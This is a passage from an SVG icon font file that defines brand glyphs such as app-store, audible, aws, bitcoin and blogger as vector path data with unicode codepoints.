M330.3 112l-7.89941 37.7998l-15.8008 -39.2998zM160.2 186.6l-4.2998 17.5l-39.6006 -2.59961l-8.09961 -18.2002l-31.9004 -2.09961l57 121.899l23.9004 1.60059l30.7002 -102l9.89941 104.7l27 1.7998l37.7998 -63.6006l6.5 66.6006l28.5 1.89941l-4 -41.1992
c7.40039 13.5 22.9004 44.6992 63.6006 47.5c40.5 2.7998 52.3994 -29.3008 53.3994 -30.3008l3.30078 32l39.2998 2.7002c12.7002 0.900391 27.7998 -0.299805 36.2998 -9.7002l-4.40039 11.9004l32.2002 2.2002l12.9004 -43.2002l23 45.7002l31 2.2002l-43.6006 -78.4004
l-4.7998 -44.2998l-28.3994 -1.90039l4.7998 44.2998l-15.7998 43c1 -22.2998 -9.2002 -40.0996 -32 -49.5996l25.1992 -38.7998l-36.3994 -2.40039l-19.2002 36.7998l-4 -38.2998l-28.4004 -1.89941l3.30078 31.5c-6.7002 -9.30078 -19.7002 -35.4004 -59.6006 -38
c-26.2002 -1.7002 -45.5996 10.2998 -55.3994 39.1992l-4 -40.2998l-25 -1.59961l-37.6006 63.2998l-6.2998 -66.2002zM436.8 268.7c10.2002 0.700195 17.5 2.09961 21.6006 4.2998c4.5 2.40039 7 6.40039 7.59961 12.0996
c0.599609 5.30078 -0.599609 8.80078 -3.40039 10.4004c-3.59961 2.09961 -10.5996 2.7998 -22.8994 2zM327.7 234c5.59961 -5.90039 12.7002 -8.5 21.2998 -7.90039c4.7002 0.300781 9.09961 1.80078 13.2998 4.10059c5.5 3 10.6006 8 15.1006 14.2998l-34.2002 -2.2998
l2.39941 23.8994l63.1006 4.30078l1.2002 12l-31.2002 -2.10059c-4.10059 3.7002 -7.7998 6.60059 -11.1006 8.10059c-4 1.69922 -8.09961 2.7998 -12.1992 2.5c-8 -0.5 -15.3008 -3.60059 -22 -9.2002c-7.7002 -6.40039 -12 -14.5 -12.9004 -24.4004
c-1.09961 -9.59961 1.40039 -17.2998 7.2002 -23.2998zM126.4 225.8l23.7998 1.60059l-8.2998 37.5996z" />
    <glyph glyph-name="app-store" unicode="&#xf36f;" horiz-adv-x="512" 
d="M255.9 327.1l9.09961 15.7002c5.59961 9.7998 18.0996 13.1006 27.9004 7.5c9.7998 -5.59961 13.0996 -18.0996 7.5 -27.8994l-87.5 -151.5h63.2998c20.5 0 32 -24.1006 23.0996 -40.8008h-185.5c-11.2998 0 -20.3994 9.10059 -20.3994 20.4004
s9.09961 20.4004 20.3994 20.4004h52l66.6006 115.399l-20.8008 36.1006c-5.59961 9.7998 -2.2998 22.1992 7.5 27.8994c9.80078 5.60059 22.2002 2.2998 27.9004 -7.5zM177.2 109.1l-19.6006 -34c-5.59961 -9.7998 -18.0996 -13.0996 -27.8994 -7.5
c-9.7998 5.60059 -13.1006 18.1006 -7.5 27.9004l14.5996 25.2002c16.4004 5.09961 29.7998 1.2002 40.4004 -11.6006zM346.1 170.8h53.1006c11.2998 0 20.3994 -9.09961 20.3994 -20.3994c0 -11.3008 -9.09961 -20.4004 -20.3994 -20.4004h-29.5l19.8994 -34.5
c5.60059 -9.7998 2.30078 -22.2002 -7.5 -27.9004c-9.7998 -5.59961 -22.1992 -2.2998 -27.8994 7.5c-33.5 58.1006 -58.7002 101.601 -75.4004 130.601c-17.0996 29.5 -4.89941 59.0996 7.2002 69.0996c13.4004 -23 33.4004 -57.7002 60.0996 -104zM256 440
c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM472 192c0 119.9 -97.2998 216 -216 216c-119.9 0 -216 -97.2998 -216 -216c0 -119.9 97.2998 -216 216 -216c119.9 0 216 97.2998 216 216z" />
    <glyph glyph-name="app-store-ios" unicode="&#xf370;" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM127 63.5l19.2998 33.2998c-10.2998 12.5 -23.5 16.2998 -39.5996 11.4004l-14.2998 -24.7002
c-5.5 -9.5 -2.30078 -21.7998 7.2998 -27.2998c9.5 -5.5 21.7998 -2.2998 27.2998 7.2998zM265.9 117.4c8.7998 16.2998 -2.5 40 -22.7002 40h-62.1006l85.8008 148.6c5.5 9.5 2.2998 21.7998 -7.30078 27.2998c-9.5 5.5 -21.7998 2.2998 -27.2998 -7.2998
l-8.89941 -15.4004l-8.90039 15.4004c-5.5 9.5 -17.7002 12.7998 -27.2998 7.2998c-9.5 -5.5 -12.7998 -17.7002 -7.2998 -27.2998l20.5 -35.4004l-65.4004 -113.199h-51c-11 0 -20 -9 -20 -20s9 -20 20 -20h181.9zM364 117.4c11 0 20 8.89941 20 20c0 11 -9 20 -20 20h-52
c-26.2002 45.2998 -45.7998 79.2998 -58.9004 102c-11.8994 -9.80078 -23.7998 -38.8008 -7.09961 -67.8008c16.5 -28.3994 41.0996 -71.1992 74 -128.1c5.5 -9.5 17.7002 -12.7998 27.2998 -7.2998c9.5 5.5 12.7998 17.7002 7.2998 27.2998l-19.5996 33.9004h29z" />
    <glyph glyph-name="apper" unicode="&#xf371;" horiz-adv-x="640" 
d="M42.0996 208.9c22.2002 0 29 -2.80078 33.5 -14.6006h0.800781v22.9004c0 11.2998 -4.80078 15.3994 -17.9004 15.3994c-11.2998 0 -14.4004 -2.5 -15.0996 -12.7998h-38.6006c0.299805 13.9004 1.5 19.1006 5.7998 24.4004
c7.30078 8.7998 18.9004 11.7998 46.1006 11.7998c33 0 47.0996 -5 53.8994 -18.9004c2 -4.2998 4 -15.5996 4 -23.6992v-76.3008h-38.2998l1.2998 19.1006h-1c-5.2998 -15.6006 -13.5996 -20.4004 -35.5 -20.4004c-30.2998 0 -41.0996 10.1006 -41.0996 37.2998
c0 25.2002 12.2998 35.8008 42.0996 35.8008zM59.2002 160.8c13.0996 0 16.8994 3 16.8994 13.4004c0 9.09961 -4.2998 11.5996 -19.5996 11.5996c-13.0996 0 -17.9004 -3 -17.9004 -12.0996c-0.0996094 -10.4004 3.7002 -12.9004 20.6006 -12.9004zM137 255.7h38.2998
l-1.5 -20.6006h0.799805c9.10059 17.1006 15.9004 20.9004 37.5 20.9004c14.4004 0 24.7002 -3 31.5 -9.09961c9.80078 -8.60059 12.8008 -20.4004 12.8008 -48.1006c0 -30 -3 -43.0996 -12.1006 -52.8994c-6.7998 -7.30078 -16.3994 -10.1006 -33.2002 -10.1006
c-20.3994 0 -29.1992 5.5 -33.7998 21.2002h-0.799805v-70.2998h-39.5v169zM217.9 195c0 27.5 -3.30078 32.5 -20.7002 32.5c-16.9004 0 -20.7002 -5 -20.7002 -28.7002c0 -28 3.5 -33.5 21.2002 -33.5c16.3994 0 20.2002 5.60059 20.2002 29.7002zM275.8 255.7h38.2998
l-1.5 -20.6006h0.800781c9.09961 17.1006 15.8994 20.9004 37.5 20.9004c14.3994 0 24.6992 -3 31.5 -9.09961c9.7998 -8.60059 12.7998 -20.4004 12.7998 -48.1006c0 -30 -3 -43.0996 -12.1006 -52.8994c-6.7998 -7.30078 -16.3994 -10.1006 -33.2998 -10.1006
c-20.3994 0 -29.2002 5.5 -33.7998 21.2002h-0.799805v-70.2998h-39.5v169h0.0996094zM356.7 195c0 27.5 -3.2998 32.5 -20.7002 32.5c-16.9004 0 -20.7002 -5 -20.7002 -28.7002c0 -28 3.5 -33.5 21.2002 -33.5c16.4004 0 20.2002 5.60059 20.2002 29.7002zM410.5 198.8
c0 25.4004 3.2998 37.7998 12.2998 45.7998c8.7998 8.10059 22.2002 11.3008 45.1006 11.3008c42.7998 0 55.6992 -12.8008 55.6992 -55.7002v-11.1006h-75.2998c-0.299805 -2 -0.299805 -4 -0.299805 -4.7998c0 -16.8994 4.5 -21.8994 20.0996 -21.8994
c13.9004 0 17.9004 3 17.9004 13.8994h37.5v-2.2998c0 -9.7998 -2.5 -18.9004 -6.7998 -24.7002c-7.2998 -9.7998 -19.6006 -13.5996 -44.2998 -13.5996c-27.5 0 -41.6006 3.2998 -50.6006 12.2998c-8.5 8.5 -11.2998 21.2998 -11.2998 50.7998zM486.9 210.4
c-0.300781 1.7998 -0.300781 3.2998 -0.300781 3.7998c0 12.2998 -3.2998 14.5996 -19.5996 14.5996c-14.4004 0 -17.0996 -3 -18.0996 -15.0996l-0.300781 -3.2998h38.3008zM542.5 255.7h38.2998l-1.7998 -19.9004h0.700195
c6.7998 14.9004 14.3994 20.2002 29.7002 20.2002c10.7998 0 19.0996 -3.2998 23.3994 -9.2998c5.2998 -7.2998 6.7998 -14.4004 6.7998 -34c0 -1.5 0 -5 0.200195 -9.2998h-35c0.299805 1.7998 0.299805 3.2998 0.299805 4c0 15.3994 -2 19.3994 -10.2998 19.3994
c-6.2998 0 -10.7998 -3.2998 -13.0996 -9.2998c-1 -3 -1 -4.2998 -1 -12.2998v-68h-38.2998v118.5h0.0996094z" />
    <glyph glyph-name="asymmetrik" unicode="&#xf372;" horiz-adv-x="576" 
d="M517.5 138.8c-13.9004 -14.2998 -30.4004 -27.7002 -48.9004 -39.7998l73.4004 -110.4h-101.6l-45.9004 71.8008c-17.5996 -7.2002 -35.9004 -13.4004 -54.5 -18.7002l32.5996 -53.1006h-135.5l22.8008 37.1006c-23.3008 -2.7002 -46.4004 -3.7002 -68.6006 -2.7002
l-22 -34.4004h-101.6l34.5 51.7002c-45 17.9004 -68.9004 47.9004 -68.4004 83c0.299805 25.7998 14 54.2998 41.7002 82.9004c38.9004 40 96.5 72.5996 161.6 92.8994c-22.2998 -8.09961 -42 -18.5 -62 -30.6992c-31.1992 -16.2002 -58.6992 -35.9004 -79.5 -58.1006
c-57.3994 -61 -46.5 -121.8 19.1006 -151.2l190.2 285.5l150.899 -226.399c13 9.5 24.7998 19.7998 35 30.5996c98 104.2 53.7002 207.9 -98.7998 231.7c-68.2998 10.5996 -146.8 5.7002 -221.3 -14.7998c-60.1006 -10 -118.7 -31.7002 -170.7 -58.2002
c118.1 66.9004 277.9 102.1 406.6 82.4004c110 -16.8008 170.2 -69.5 169.4 -135c-0.400391 -36.1006 -19.7002 -76.1006 -58.5 -116.101zM329.9 58.2998c18.3994 5.2998 36.5 11.7998 53.6992 19.2002l-78.6992 123l-101.9 -159.3
c22.5 -0.700195 45.7998 0.899414 69.2002 4.39941l32.7002 53.3008z" />
    <glyph glyph-name="audible" unicode="&#xf373;" horiz-adv-x="640" 
d="M640 248.1v-54l-320 -200l-320 199.9v54l320 -200zM445.5 176.1c-70.7998 94.4004 -200.5 110.7 -290.2 36.3008c-2.59961 -2.2002 -5.2002 -4.40039 -7.7002 -6.7002h-0.299805c37.1006 55.7002 100.601 92.3994 172.601 92.3994s135.5 -36.7998 172.699 -92.5996z
M225.4 157.3c21 29.6006 55.5 49 94.3994 49c39.2002 0 73.9004 -19.5996 94.7998 -49.5l-45.3994 -28.3994c-21.2002 29.1992 -52 47.5996 -86.4004 47.5996c-20.8994 0 -40.5 -6.7998 -57.3994 -18.7002zM103.6 286.9c-11.5 -9.10059 -24.2998 -22.1006 -34.1992 -32.6006
c53.8994 82.1006 147 135.601 250.5 135.601c104.899 0 197.199 -54 250.699 -135.7l-48.7998 -30.4004l-0.700195 1c-99.2998 138.5 -285.699 166.4 -417.5 62.1006zM570.6 254.2z" />
    <glyph glyph-name="avianex" unicode="&#xf374;" horiz-adv-x="512" 
d="M453.1 416c39 0 64.8008 -31.2002 57.8008 -69.7998l-56.7002 -308.5c-7.10059 -38.5 -44.4004 -69.7002 -83.2998 -69.7002h-312c-39 0 -64.8008 31.2002 -57.7002 69.7002l56.5996 308.6c7.10059 38.5 44.4004 69.7002 83.2998 69.7002h312zM394.9 68.7002
l6.2998 7.89941l-94.9004 119.4l-4.5 7.2998c19.7998 14.2002 33.5 24.2998 35.2998 25.6006c7.90039 6.59961 6.30078 20.7998 -2.69922 31.2998c-9.2002 10.7998 -23 14.3994 -30.7002 7.89941c0 0 -14.4004 -13.5996 -33.7998 -32.3994l-4.90039 4.5l-103.1 112.399
l-8.90039 -4.7998l-18.7998 -28.8994l68.7998 -99.8008l20.5 -29.5996c-12 -12.2998 -23.5 -24.4004 -32.7998 -34.9004l-58 31.1006l-15.7002 -15.4004l52.4004 -48.0996l40.5996 -61l17.9004 12.7002l-22.1006 64.1992c12.5 7.60059 27 17.1006 41.7002 27.1006
l115.4 -110z" />
    <glyph glyph-name="aws" unicode="&#xf375;" horiz-adv-x="640" 
d="M180.41 244.99c-0.719727 -22.6504 10.5996 -32.6807 10.8799 -39.0498c-0.238281 -2.31543 -2.0752 -5.12402 -4.09961 -6.27051l-12.8008 -8.95996c-1.39941 -0.981445 -3.92188 -1.8418 -5.62988 -1.91992c-0.429688 0.0195312 -8.18945 -1.83008 -20.4795 25.6104
c-13.0283 -16.2627 -40.5127 -29.4609 -61.3496 -29.4609c-0.347656 0 -0.913086 0.00488281 -1.26074 0.0107422c-16.2803 -0.890625 -60.4004 9.24023 -58.1299 56.21c-1.58984 38.2803 34.0596 62.0596 70.9297 60.0498
c7.10059 -0.0195312 21.6006 -0.370117 46.9902 -6.26953v15.6191c2.69043 26.46 -14.7002 46.9902 -44.8096 43.9102c-2.40039 -0.00976562 -19.4004 0.5 -45.8408 -10.1094c-7.35938 -3.37988 -8.2998 -2.82031 -10.75 -2.82031
c-7.40918 0 -4.35938 21.4795 -2.93945 24.2002c5.20996 6.39941 35.8604 18.3496 65.9395 18.1797c1.86523 0.165039 4.89844 0.298828 6.77148 0.298828c15.2451 0 37.1611 -7.875 48.9189 -17.5791c9.87305 -11.0439 17.8867 -32.0303 17.8867 -46.8438
c0 -1.52539 -0.0966797 -3.99609 -0.216797 -5.51562zM93.9902 212.6c32.4297 0.470703 46.1602 19.9707 49.29 30.4707c2.45996 10.0498 2.0498 16.4102 2.0498 27.3994c-9.66992 2.32031 -23.5898 4.85059 -39.5605 4.87012
c-15.1494 1.14062 -42.8193 -5.62988 -41.7393 -32.2598c-1.24023 -16.79 11.1201 -31.4004 29.96 -30.4805zM264.91 189.55c-7.86035 -0.719727 -11.5205 4.86035 -12.6797 10.3701l-49.8008 164.65c-0.969727 2.7793 -1.60938 5.64941 -1.91992 8.58008
c-0.0283203 0.189453 -0.0517578 0.5 -0.0517578 0.692383c0 2.18555 1.75195 4.22656 3.91211 4.55762h22.25c8.78027 0.879883 11.6396 -6.03027 12.5498 -10.3701l35.7197 -140.83l33.1602 140.83c0.530273 3.21973 2.94043 11.0693 12.7998 10.2393h17.1602
c2.16992 0.180664 11.1104 0.5 12.6807 -10.3691l33.4199 -142.631l36.8701 142.631c0.479492 2.17969 2.71973 11.3691 12.6797 10.3691h19.7197c0.850586 0.130859 6.15039 0.810547 5.25 -8.5791c-0.429688 -1.85059 3.41016 10.6592 -52.75 -169.9
c-1.14941 -5.50977 -4.82031 -11.0898 -12.6797 -10.3701h-18.6904c-10.9395 -1.15039 -12.5098 9.66016 -12.6797 10.75l-33.1602 137.13l-32.7803 -136.99c-0.15918 -1.08984 -1.72949 -11.8994 -12.6797 -10.75h-18.2998v-0.00976562zM538.39 183.92
c-5.87988 -0.00976562 -33.9199 0.299805 -57.3594 12.29c-4.31152 1.8252 -7.81055 7.10645 -7.81055 11.7891v0.121094v10.75c0 8.4502 6.2002 6.89941 8.83008 5.88965c10.04 -4.05957 16.4805 -7.13965 28.8105 -9.59961
c36.6494 -7.53027 52.7695 2.2998 56.7197 4.47949c13.1504 7.81055 14.1895 25.6807 5.25 34.9502c-10.4805 8.79004 -15.4805 9.12012 -53.1299 21c-4.64062 1.29004 -43.7002 13.6104 -43.79 52.3604c-0.610352 28.2402 25.0498 56.1797 69.5195 55.9502
c12.6699 0.00976562 46.4307 -4.13086 55.5703 -15.6201c1.34961 -2.08984 2.01953 -4.5498 1.91992 -7.04004v-10.1104c0 -4.43945 -1.62012 -6.66016 -4.87012 -6.66016c-7.70996 0.860352 -21.3896 11.1699 -49.1602 10.75
c-6.88965 0.360352 -39.8896 -0.910156 -38.4092 -24.9697c-0.430664 -18.96 26.6094 -26.0703 29.6992 -26.8896c36.46 -10.9707 48.6504 -12.79 63.1201 -29.5801c17.1406 -22.25 7.90039 -48.2998 4.35059 -55.4404
c-19.0801 -37.4902 -68.4199 -34.4395 -69.2607 -34.4199zM578.59 79.0596c-70.0303 -51.7197 -171.689 -79.25 -258.49 -79.25c-0.853516 -0.00488281 -2.23926 -0.00976562 -3.09277 -0.00976562c-99.5195 0 -240.271 54.0918 -314.177 120.74
c-6.53027 5.88965 -0.770508 13.96 7.16992 9.46973c81.1748 -46.4336 222.955 -84.1201 316.473 -84.1201h0.407227c69.4072 0.373047 177.64 22.5713 241.59 49.5508c11.7803 5 21.7705 -7.80078 10.1201 -16.3809zM607.78 112.35
c-8.95996 11.5205 -59.2803 5.38086 -81.8105 2.69043c-6.79004 -0.770508 -7.93945 5.12012 -1.79004 9.46973c40.0703 28.1699 105.88 20.1006 113.44 10.6299c7.5498 -9.46973 -2.0498 -75.4092 -39.5605 -106.909c-5.75977 -4.87012 -11.2695 -2.30078 -8.70996 4.09961
c8.44043 21.25 27.3906 68.4902 18.4307 80.0195z" />
    <glyph glyph-name="bimobject" unicode="&#xf378;" 
d="M416 416c17.5996 0 32 -14.4004 32 -32v-384c0 -17.5996 -14.4004 -32 -32 -32h-384c-17.5996 0 -32 14.4004 -32 32v384c0 17.5996 14.4004 32 32 32h384zM352 158.6h-0.0996094v35c0 49.4004 -11.4004 82.5 -103.801 82.5h-17.2998
c-30 0 -65.0996 -8.2998 -69.7002 -38.7998h-1.09961v74.7002h-64v-232h64v34.7998h0.900391c8 -23.8994 26.2998 -38.7998 70.3994 -38.7998h16.9004c92.3994 0 103.8 33.2002 103.8 82.5996zM288 187.5v-22.9004c0 -21.6992 -3.40039 -33.7998 -38.4004 -33.7998h-45.2998
c-28.8994 0 -44.0996 6.5 -44.0996 35.7002v19c0 29.2998 15.2002 35.7002 44.0996 35.7002h45.2998c35 0.200195 38.4004 -12 38.4004 -33.7002z" />
    <glyph glyph-name="bitcoin" unicode="&#xf379;" horiz-adv-x="512" 
d="M504 192c0 -136.967 -111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248s248 -111.033 248 -248zM362.349 227.33c4.9375 32.999 -20.1904 50.7393 -54.5498 62.5732l11.1465 44.7021l-27.2129 6.78027l-10.8516 -43.5234
c-7.1543 1.78223 -14.502 3.46387 -21.8027 5.12988l10.9287 43.8096l-27.1982 6.78125l-11.1523 -44.6855c-5.92188 1.34863 -11.7354 2.68164 -17.377 4.08398l0.0302734 0.139648l-37.5293 9.37012l-7.23926 -29.0625s20.1914 -4.62695 19.7646 -4.91309
c11.0225 -2.75098 13.0146 -10.0439 12.6807 -15.8242l-12.6963 -50.9258c0.759766 -0.193359 1.74414 -0.472656 2.8291 -0.90625c-0.907227 0.224609 -1.87598 0.472656 -2.87598 0.712891l-17.7959 -71.3379c-1.34961 -3.34863 -4.76758 -8.37012 -12.4717 -6.46484
c0.271484 -0.394531 -19.7793 4.9375 -19.7793 4.9375l-13.5107 -31.1475l35.4141 -8.82617c6.58887 -1.65137 13.0449 -3.37988 19.4004 -5.00684l-11.2617 -45.2129l27.1816 -6.78027l11.1533 44.7324c5.96875 -1.61719 15.6846 -4.13867 21.6865 -5.62695
l-11.1152 -44.5225l27.2139 -6.78125l11.2617 45.1279c46.4043 -8.78125 81.2988 -5.23926 95.9863 36.7266c11.8359 33.79 -0.589844 53.2812 -25.0049 65.9912c17.7803 4.09766 31.1748 15.792 34.7471 39.9492zM300.172 140.151
c-8.41016 -33.79 -65.3076 -15.5234 -83.7549 -10.9434l14.9443 59.8994c18.4453 -4.60352 77.5996 -13.7178 68.8105 -48.9561zM308.589 227.818c-7.67285 -30.7363 -55.0312 -15.1201 -70.3926 -11.292l13.5479 54.3262
c15.3633 -3.82715 64.8359 -10.9727 56.8447 -43.0342z" />
    <glyph glyph-name="bity" unicode="&#xf37a;" horiz-adv-x="496" 
d="M78.4004 380.8c95.3994 89.2002 246.1 91.2002 343.1 -3.7998c14.2998 -14.0996 -6.40039 -37.0996 -22.4004 -21.5c-84.7998 82.4004 -215.8 80.2998 -298.899 3.2002c-16.2998 -15.1006 -36.5 8.2998 -21.7998 22.0996zM177.3 -37.7998
c-128.7 38.2998 -201.899 170.7 -169.8 298.1c5.2998 21 35.2002 12.5 30.2002 -7.09961c-28.2998 -111.3 35.2998 -227.101 147.5 -261c21.3994 -6.40039 11.3994 -35.7002 -7.90039 -30zM325.4 -35.7998c-19.2002 -6.2998 -30 22.7002 -8.80078 29.7002
c106.101 35.5 167.4 145.699 143.2 253.399c-4.89941 21.7002 25.5 27.6006 30 7.90039c28.5 -124.101 -42.5 -250.8 -164.399 -291zM262.5 43.2002c0 -8.2002 -6.59961 -14.7998 -14.7998 -14.7998s-14.7998 6.59961 -14.7998 14.7998l0.199219 71.7998
c0 8.09961 6.60059 14.7998 14.8008 14.7998c8.19922 0 14.7998 -6.59961 14.7998 -14.7998zM333.5 312.2c0 21.7998 32.5 19.5996 32.5 0v-71.6006c0 -69.2998 -60.7002 -90.8994 -118 -90.0996c-57.2998 -0.799805 -118 20.7998 -118 90.0996v71.6006
c0 19.5996 32.5 21.7998 32.5 0c-1.40039 -88.2002 -7 -131.8 85.5 -132.5c90.2002 0.599609 87.5996 41.5996 85.5 132.5z" />
    <glyph glyph-name="blackberry" unicode="&#xf37b;" horiz-adv-x="512" 
d="M166 331.1c0 -23.3994 -16.4004 -49.0996 -72.5 -49.0996h-70.0996l21 88.7998h67.7998c42.0996 0 53.7998 -23.2998 53.7998 -39.7002zM292.2 370.8c42.0996 0 53.7998 -23.2998 53.7002 -39.7002c0 -23.3994 -16.3008 -49.0996 -70.1006 -49.0996h-70.0996
l18.7002 88.7998h67.7998zM88.7998 239.9c42.1006 0 53.7998 -23.4004 53.7998 -39.7002c0 -25.7002 -16.3994 -49.1006 -72.5 -49.1006h-70.0996l21 88.8008h67.7998zM268.9 239.9c42 0 53.6992 -23.4004 53.6992 -39.7002c0 -25.7002 -16.2998 -49.1006 -70.0996 -49.1006
h-70.0996l18.6992 88.8008h67.8008zM458.2 293.7c42.0996 0 53.7998 -23.4004 53.7002 -39.7002c0 -25.7002 -16.3008 -49.0996 -70.1006 -49.0996h-70.0996l18.7002 88.7998h67.7998zM430.2 155.8c42.0996 0 53.7002 -23.3994 53.7002 -39.7002
c0 -25.6992 -14 -49.0996 -70.1006 -49.0996h-70.0996l18.7002 88.7998h67.7998zM240.8 102c42.1006 0 53.7998 -23.4004 53.7002 -39.7002c0 -23.3994 -14 -49.0996 -70.0996 -49.0996h-70.1006l18.7002 88.7998h67.7998z" />
    <glyph glyph-name="blogger" unicode="&#xf37c;" 
d="M162.4 252c4.7998 4.90039 6.19922 5.09961 36.3994 5.09961c27.2002 0 28.1006 -0.0996094 32.1006 -2.09961c5.7998 -2.90039 8.2998 -7 8.2998 -13.5996c0 -5.90039 -2.40039 -10 -7.60059 -13.4004c-2.7998 -1.7998 -4.5 -1.90039 -31.0996 -2.09961
c-16.4004 -0.100586 -29.5 0.199219 -31.5 0.799805c-10.2998 2.89941 -14.0996 17.7002 -6.59961 25.2998zM223.8 157.5c55.4004 0 55.1006 0 60.4004 -4.7002c7.39941 -7 5.89941 -19.2998 -3.10059 -24.3994l-9.19922 -1.5l-47.9004 -0.600586
c-42.2002 -0.5 -54.0996 0.200195 -56.2998 1.2002c-4.40039 1.90039 -8.5 7.2998 -9.2002 12c-0.599609 4.5 1.59961 10.7998 5.09961 13.9004c4.40039 3.89941 6.30078 4.09961 60.2002 4.09961zM447.2 27.4004c-3.5 -28.4004 -23 -50.4004 -51.1006 -57.5
c-7.19922 -1.80078 -9.69922 -1.90039 -172.899 -1.80078c-157.8 0 -165.9 0.100586 -172 1.80078c-8.40039 2.19922 -15.6006 5.5 -22.2998 10c-5.60059 3.7998 -13.9004 11.7998 -17 16.3994c-3.80078 5.60059 -8.2002 15.2998 -10 22
c-1.80078 6.7002 -1.90039 9.40039 -1.90039 173.4c0 163.1 0 166.6 1.7998 173.7c6.2998 24.6992 25.9004 43.5996 51.2002 49.1992c7.2998 1.60059 332.1 1.90039 340 0.300781c21.2002 -4.30078 37.9004 -17.1006 47.5996 -36.4004c7.7002 -15.2998 7 1.5 7.30078 -180.6
c0.199219 -115.801 0 -164.5 -0.700195 -170.5zM361.8 212.6c-1.09961 5 -4.2002 9.60059 -7.7002 11.5c-1.09961 0.600586 -8 1.30078 -15.5 1.7002c-12.3994 0.600586 -13.7998 0.799805 -17.7998 3.10059c-6.2002 3.59961 -7.89941 7.59961 -8 18.2998
c0 20.3994 -8.5 39.3994 -25.2998 56.5c-12 12.2002 -25.2998 20.5 -40.5996 25.0996c-3.60059 1.10059 -11.8008 1.5 -39.2002 1.7998c-42.9004 0.5 -52.5 -0.399414 -67.1006 -6.19922c-27 -10.7002 -46.2998 -33.4004 -53.3994 -62.4004
c-1.2998 -5.40039 -1.60059 -14.2002 -1.90039 -64.2998c-0.399414 -62.7998 0 -72.1006 4 -84.5c9.7002 -30.7002 37.1006 -53.4004 64.6006 -58.4004c9.19922 -1.7002 122.199 -2.09961 133.699 -0.5c20.1006 2.7002 35.9004 10.7998 50.7002 25.9004
c10.7002 10.8994 17.4004 22.7998 21.7998 38.5c3.2002 10.8994 2.90039 88.3994 1.7002 93.8994z" />
    <glyph glyph-name="blogger-b" unicode="&#xf37d;" 
d="M446.6 225.3c2 -8.89941 2.40039 -134.1 -2.5 -151.7c-7.09961 -25.2998 -17.8994 -44.3994 -35.1992 -62.0996c-23.9004 -24.4004 -49.4004 -37.5 -81.9004 -41.9004c-18.7002 -2.5 -201.2 -1.89941 -216 0.800781c-44.5 8 -88.7998 44.6992 -104.4 94.2998
c-6.2998 20.0996 -7 35 -6.39941 136.5c0.5 81 1 95.0996 3.09961 103.899c11.4004 46.8008 42.6006 83.4004 86.1006 100.601c23.5996 9.39941 39 10.7998 108.399 10c44.2002 -0.5 57.4004 -1.10059 63.2998 -2.90039c24.6006 -7.5 46.2002 -20.7998 65.5 -40.5
c27.1006 -27.5996 40.8008 -58.2998 40.9004 -91.2998c0.0996094 -17.2002 2.7998 -23.5996 12.9004 -29.5c6.39941 -3.7002 8.59961 -4.09961 28.6992 -5c12 -0.5 23.2002 -1.7002 25 -2.7002c5.7002 -3.09961 10.7002 -10.5 12.5 -18.5zM124.5 288.9
c-12.2002 -12.3008 -6 -36.1006 10.5996 -40.8008c3.10059 -0.799805 24.3008 -1.39941 50.8008 -1.19922c43 0.199219 45.6992 0.399414 50.2998 3.2998c8.5 5.39941 12.2998 12.0996 12.2998 21.5996c0 10.6006 -4.09961 17.2002 -13.4004 21.9004
c-6.39941 3.2998 -7.89941 3.39941 -51.7998 3.39941c-48.7998 0 -51 -0.299805 -58.7998 -8.19922zM316.3 89.0996c14.4004 8.2002 17 28.1006 4.90039 39.4004c-8.5 7.90039 -8 7.90039 -97.6006 7.7998c-87.0996 -0.0996094 -90.1992 -0.299805 -97.2998 -6.7002
c-5.59961 -5.09961 -9.2998 -15.0996 -8.2002 -22.3994c1.10059 -7.7002 7.80078 -16.2998 14.9004 -19.4004c3.59961 -1.59961 22.7998 -2.7998 90.9004 -2l77.5 0.900391z" />
    <glyph glyph-name="buromobelexperte" unicode="&#xf37f;" 
d="M0 416h128v-128h-128v128zM120 296v112h-112v-112h112zM160 416h128v-128h-128v128zM280 296v112h-112v-112h112zM320 416h128v-128h-128v128zM440 296v112h-112v-112h112zM0 256h128v-128h-128v128zM120 136v112h-112v-112h112zM160 256h128v-128h-128v128zM280 136v112
h-112v-112h112zM320 256h128v-128h-128v128zM440 136v112h-112v-112h112zM0 96h128v-128h-128v128zM120 -24v112h-112v-112h112zM160 96h128v-128h-128v128zM280 -24v112h-112v-112h112zM320 96h128v-128h-128v128z" />
    <glyph glyph-name="centercode" unicode="&#xf380;" horiz-adv-x="512" 
d="M329.2 179.4c-3.7998 -35.2002 -35.4004 -60.6006 -70.6006 -56.8008c-35.1992 3.80078 -60.5996 35.4004 -56.7998 70.6006s35.4004 60.5996 70.6006 56.7998c35.0996 -3.7998 60.5996 -35.4004 56.7998 -70.5996zM243.4 -55.7002
c-146.7 7.7002 -251.601 138.2 -233.301 279.4c11.2002 86.5996 65.8008 156.899 139.101 192c161 77.0996 349.7 -37.4004 354.7 -216.601c4.09961 -147 -118.4 -262.199 -260.5 -254.8zM423.3 124.3c27.9004 118 -160.5 205.9 -237.2 234.2
c-57.5 -56.2998 -69.0996 -188.6 -33.7998 -344.4c68.7998 -15.7998 169.101 26.4004 271 110.2z" />
    <glyph glyph-name="cloudscale" unicode="&#xf383;" 
d="M318.1 294c6.2002 6.2998 15.8008 -3.09961 9.5 -9.59961l-75.1992 -88.8008c0.899414 -8.19922 -1.80078 -16.7998 -8.10059 -23.0996c-11.0996 -11 -28.8994 -11 -40 0c-11.0996 11.0996 -11.0996 29 0 40c6.2998 6.2998 14.7998 9 23.1006 8.09961l25.1992 20.4004
c-16.3994 15.2998 -38.3994 24.7002 -62.5996 24.7002c-50.7998 0 -94.5996 -41.4004 -92.5996 -97.4004c-1 6.2998 -1.40039 12.7998 -1.40039 19.4004c0 71.5 57.7998 132.3 129.4 132.3c31.7998 0 60.7998 -14.2998 83.2998 -33.5996zM234.3 182.5
c5.60059 5.5 5.60059 14.5996 0 20.2002c-5.59961 5.59961 -14.5996 5.59961 -20.2002 0c-5.59961 -5.60059 -5.59961 -14.6006 0 -20.2002c5.60059 -5.5 14.6006 -5.5 20.2002 0zM224 416c123.5 0 224 -100.5 224 -224s-100.5 -224 -224 -224s-224 100.5 -224 224
